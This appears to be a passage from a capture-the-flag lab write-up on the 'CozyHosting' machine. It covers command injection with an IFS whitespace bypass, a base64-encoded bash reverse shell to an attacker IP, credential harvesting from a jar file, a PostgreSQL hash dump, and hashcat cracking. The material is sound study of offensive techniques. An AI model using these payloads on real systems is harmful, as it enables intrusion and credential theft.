Command Injection#

I entered some normal inputs for Hostname and Username and still got the following error, as shown in Figure 8_.

Figure 8: Error: verification failed. I suspected it was running a bash command like ssh $USER@$HOSTNAME in the backend. So I need to find out what is the protections they are using and bypassing it to the a reverse shell.

The request is the POST to /executessh that I saw before but don’t find anything while brute forcing it. Now I can see that the request needed a host and username parameters to function normally. When I tried sending this basic command injection payload(;sleep 5;) in the host parameter, the server returned Invalid hostname!, as shown in Figure 9.

Figure 9: Request and response of /executessh.

However, when I send the same payload on the username parameter, it returned the error message ‘Username can’t contain whitespaces!’. I can use the BASH variable IFS to bypass this whitespace restriction. Sending the payload ;sleep${IFS}5 The server actually wait 5 seconds to return a response.

“IFS” (Internal Field Separator) is a special variable that defines the character or characters used to separate a pattern into tokens for some operations.

Figure 10: Server waiting 5 seconds to come back.

Knowing that I send following payload encoded in base64 to get a reverse shell.

1
echo "bash  -i >& /dev/tcp/10.10.16.16/443  0>&1  " | base64
2
PAYLOAD=";echo${IFS}YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTYvNDQzICAwPiYxICAK|base64${IFS}-d|bash;"

Figure 11: Request with the payload.

![Revshell_back]{./revshell.png}

Figure 12: Getting the reverse shell as ‘app’ user.

Reading .jar file#

I got a shell as the user app on the folder /app and inside this folder. I have the file named ‘cloudhosting-0.0.1.jar’ this is probally the source code that is running on the webpage, to be sure about that I started enumerate all the ports open.

1
# List the open ports on the machine to identify the webserver
2
$ ss -ltnp
3
State  Recv-Q Send-Q      Local Address:Port Peer Address:PortProcess
4
LISTEN 0      511               0.0.0.0:80        0.0.0.0:*
5
LISTEN 0      4096        127.0.0.53%lo:53        0.0.0.0:*
6
LISTEN 0      128               0.0.0.0:22        0.0.0.0:*
7
LISTEN 0      244             127.0.0.1:5432      0.0.0.0:*
8
LISTEN 0      100    [::ffff:127.0.0.1]:8080            *:*    users:(("java",pid=1063,fd=19))
9
LISTEN 0      128                  [::]:22           [::]:*
10
LISTEN 0      511               0.0.0.0:80        0.0.0.0:*
11
LISTEN 0      4096        127.0.0.53%lo:53        0.0.0.0:*
12
LISTEN 0      128               0.0.0.0:22        0.0.0.0:*
13
LISTEN 0      244             127.0.0.1:5432      0.0.0.0:*
14
LISTEN 0      100    [::ffff:127.0.0.1]:8080            *:*
15
LISTEN 0      128                  [::]:22           [::]:*
16

17
# Search for the service that is running on port 8080
18
$ ps 1063
19
PID TTY      STAT   TIME COMMAND
20
1063 ?        Ssl    2:02 /usr/bin/java -jar cloudhosting-0.0.1.jar
21

22
# Search for services that use port 8080
23
$ cd /etc
24
$ grep -r '8080' 2>/dev/null
25
nginx/sites-available/default:    proxy_pass http://localhost:8080;
26
services:http-alt  8080/tcp  webcache  # WWW caching service
27
ssl/openssl.cnf:# proxy = # set this as far as needed, e.g., http://192.168.1.1:8080
28

29
$ cat nginx/sites-available/default
30
server {
31
  listen 80;
32
  return 301 http://cozyhosting.htb;
33
}
34
server {
35
  listen 80;
36
  server_name cozyhosting.htb;
37
  location / {
38
    proxy_pass http://localhost:8080;
39
  }
40
}

The port 8080 is actually running that .jar file, confirming it is really the file running the webserver. So let’s unzip it and search for some database credentials inside.

1
mkdir /tmp/src
2
cp /app/cloudhosting-0.0.1.jar /tmp/src
3
unzip cloudhosting-0.0.1.jar
4
grep -ri 'password'

JAR files are archive files that include a Java-specific manifest file. They are built on the ZIP format and typically have a .jar file extension.

Figure 13: Return of grep command.

With this command, we can read the contents of the file BOOT-INF/classes/application.properties and find the PostgresSQL credentials.

Figure 14: Database credentials.

PostGres database#

After trying the password to log in as the user josh and it didn’t work. I got back to the port enumeration part, the port 5432 is open. This is the default port for postgres database. The utility psql lets us interact with the PostgresSQL database, so I used it to connect and extract the hashes.

1
# List all schemas
2
\l
3

4
# Select schema 'cozyhosting'
5
\c cozyhosting
6

7
# List all tables in the schema
8
\dt
9

10
SELECT * FROM users;

Figure 15: Hashes inside Database.

Copying only the hashes and putting them in a file named hashes.txt, I ran the command hashcat hashes.txt $rockyou -m 3200, which gave me a clear text password after some time.

Figure 16: Hashcat command.

With the password we can just su - josh and get a shell as the user josh.